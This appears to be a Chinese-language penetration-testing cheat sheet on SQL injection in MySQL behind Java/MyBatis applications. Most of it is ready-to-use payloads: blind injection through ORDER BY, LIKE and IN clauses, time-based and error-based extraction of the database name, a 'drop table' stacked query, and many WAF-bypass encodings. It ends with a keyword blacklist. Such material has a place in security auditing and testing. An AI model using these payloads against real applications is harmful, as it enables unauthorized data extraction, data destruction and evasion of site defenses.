数据库:mysql
语言:java
代码审计发现,mybatis默认使用预编译#
传参,只有少部分语句无法直接使用#
传参,会报错,所以开发容易忽视这些地方,直接使用默认的.$
传参,这就是我们测试sql注入的重要关注点。
order by
like
in
Tip: http传参不能带空格,用+
代替
比如注释符,mysql的注释符是--空格
和#
,从前端输入sql语句用--+
,实际上经过url解码,传入数据库时变成--空格
盲注三种类型
order by
用在sql语句的最后,起一个排序的作用,不能直接用and 1=1
来判断
可以用if
语句、case when
、rand
order by
基本用盲注
mysql> select * from admin order by if(1=1,username,password);
如果1=1
成立,按照username排序,反之根据password排序
替换1=1
可判断数据库名等操作
mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);
不用if,用rand()
rand(0)和rand(1)
if((length(database())=5),rand(true),rand(false))
greatest(n1,n2…)返回最大的数,(其他函数见->大小于号绕过)
mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=103);
//判断数据库名第一位
sleep()
是mysql数据库特有,sleep()在where语句中会执行多次,所以查询时间会成倍增长
if(布尔盲注语句,sleep(5),1)
可用benchmark(2000000,md5(404))
代替,执行md5(404)2000000次,大概3秒多
?orderby=asc,if(now()=sysdate(),sleep(3),0)
//如果系统时间等于当前时间,则mysql查询休眠3秒,否则查询0
//另一种写法:
select * from test order by user_id,(select 1 from (select sleep(3))a)
?order=asc,if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))
//空格用 + 或 /**/ 替代
(select+1+from+(select+sleep(3))a)
(select/**/1/**/from/**/(select/**/sleep(3))a)
?orderby=asc,if((length(database())=16),sleep(3),0)
//如果数据库名长度为16,延时3秒
?orderby=asc,if((ascii(substr(database(),$10$,1))=$101$),sleep(3),0)
//如果第10位的ASCII码为101,延时3秒
页面要是不回显报错内容则无法判断
//MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,两个函数的返回长度有限,均为32个字符长度
EXTRACTVALUE(XML_document, XPath_string);
UPDATEXML(XML_document, XPath_string, new_value);
extractvalue(1, concat(0x7e, version()))
updatexml(1, concat(0x7e, version()), 1)
mysql> select * from admin order by (extractvalue(1,concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
mysql> select * from admin order by extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1))))
,if((length(database())=16),1,(select 1 union select 2))
//看数据库长度,报错说明对了
,if((ascii(substr(database(),$10$,1))=$101$),1,(select 1 union select 2))
//burp一个一个爆数据库名
orderby注入不能使用union查询,但当 $query = (select * from test order by user_id $evil)
使用括号进行包裹的时候,此时是可以进行union查询的。
select * from table order by case when 2<3 then 字段 else 1 end
搜索框注入
SELECT 字段1,字段2 FROM 表名 WHERE username LIKE '%?%';
所以将?
部分创造为一个闭合的真值就可以将所有数据注入出来。
select * from tbl_school where school_name like '%xxx%' or '1%' = '1%'
select * from tbl_school where school_name like '%xxx%' or '1%' = '2%'
%
代表模糊查询
x%
代表模糊查询x开头的
%x
代表模糊查询x结尾的
%x%
代表模糊查询中间含有x的
//判断注入点
模糊查询参数-搜索框
&searchProdName= //返回全部结果
&searchProdName=a //返回查询a的结果
&searchProdName=a%' //返回全部结果
&searchProdName=a%' and 1=1 and '%'=' //同上
&searchProdName=a%' and 1=2 and '%'=' //同上,说明没用
//删表
select * from tbl_school where school_name like '%xxx';drop table tbl_test;#%'
以下符号与空格等效,可以放在函数名与括号之间,且数量不限,比如select/*123*//*222*/database/*123*/();与select database();是等效的。
+
/*任意字符*/
%0a(回车符)
%20,%09,%0b,%0c,%0d,%a0
tab键
包裹关键字代替空格,mysql中括号用来包围子查询,因此,任何可以计算出结果的语句都可以用括号围起来
例如select(username)from(member)
()
``
like
不加通配符的like执行的效果和=一致,所以可以用来绕过。
mysql> select * from users where id like 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
regexp MySQL中使用 REGEXP 操作符来进行正则表达式匹配
mysql> select * from users where id regexp 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | test1 | pass |
+----+----------+----------+
大于小于号
!<>
select * from users where !(id <> 1);
and = &&
or = ||
xor = | # 异或
not = !
- greatest(n1,n2...)找出最大的数
mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=102);
mysql> select * from user where id = 1 and greatest(ascii(substr(database(),1,1)),1)=102;
- least(n1,n2...)返回最小值
- strcmp(str1,str2)比较两字符串,相同返回0,1小于2返回-1,1大于2返回1
mysql> select * from user where id = 1 and 1=strcmp(ascii(substr(database(),1,1)),102);
- in
- between a and b 范围在a-b之间
十六进制 0x
select column_name from information_schema.tables where table_name=0x7573657273
char(97,100)
'abc'=unhex(616263)
宽字节(GBK编码)%bf%27 %df%27 %aa%27
join
from for
>mysql select substr("string" from 1 for 3)
offset 针对limit后的逗号
/!*union*/
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
条件语句
case when
if()
ifnull(exper1,exper2)判断exper1是否为空,是则用exper2代替
nullif(exper1,exper2) 如果expr1= expr2 成立,那么返回值为NULL,否则返回值为expr1。
isnull(exper) 判断exper是否为空,是则返回1,否则返回0
rand() 不算条件语句,order by排序可代替if
mysql的xml函数
updatexml
extractvalue
`、~、!、@、()、[]、.、-、+ 、|、&、%、,、'、"
举例关键字拆分:'se'+'lec'+'t'、(SeL)(EcT)等
url编码绕过 %55nIon(union)
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
十六进制编码绕过 0x mysql数据库也可以执行
unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
双重编码
假设提交的参数为
id=1&id=2&id=3
解析
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
union后面select的列数不能超过表的最大列数,不然会报错
所以不能用order by
判断列数的情况下可以直接union查询判断
mysql> select * from admin where id=1 union select 1,user(),3;
+------+----------------+----------+
| id | username | password |
+------+----------------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
| 1 | root@localhost | 3 |
+------+----------------+----------+
4 rows in set (0.02 sec)
只要让第一行查询的结果是空集,即union左边的select子句查询结果为空,那么union右边的查询结果自然就成为了第一行,打印在网页上了
mysql> select * from admin where id=-1 union select 1,user(),3;
定义了三种sql语句,开发在加黑名单过滤时可能重写其中一种方法做过滤。
前面两种方式比较安全,但是白名单不适用于全局过滤,容易影响业务
wafbypass
//进来的数据先转小写
//特殊字符
`、~、!、@@、(、.、--、+ 、|、^、&&、%0、%20,%a0,0x、,、'、"、/*、\、#、;、=、<、>
//关键字
case,when,and,or,order,select,union,drop,delete,update,replace,where,having,add,into,insert,join,concat,from,for,betweenmaster,truncate,create,exec,regexp,like,offset,
order,limit
//函数,正则匹配函数与左括号之间的任意字符
if,isnull,version,load_file,outfile,database,schema,user,system_user,session_user,benchmark,current_user,sleep,xmltype,receive_message,rand,strcmp,updatexml,extractvalue,floor,ascii,substr,char,hex,count,declare,exp,procedure analyse,ceil,atan,sqrt,tan,sign,greatest,sub,mid,lpad,rpad,left,reverse
//说明:
//以下符号与空格等效,可以放在函数名与括号之间,且数量不限,比如select/*123*//*222*/database/*123*/();与select database();是等效的。
+
%20
/*任意字符*/
%0a
%0d
%0c
%09
//包裹关键字代替空格,例如select(username)from(member)
()
``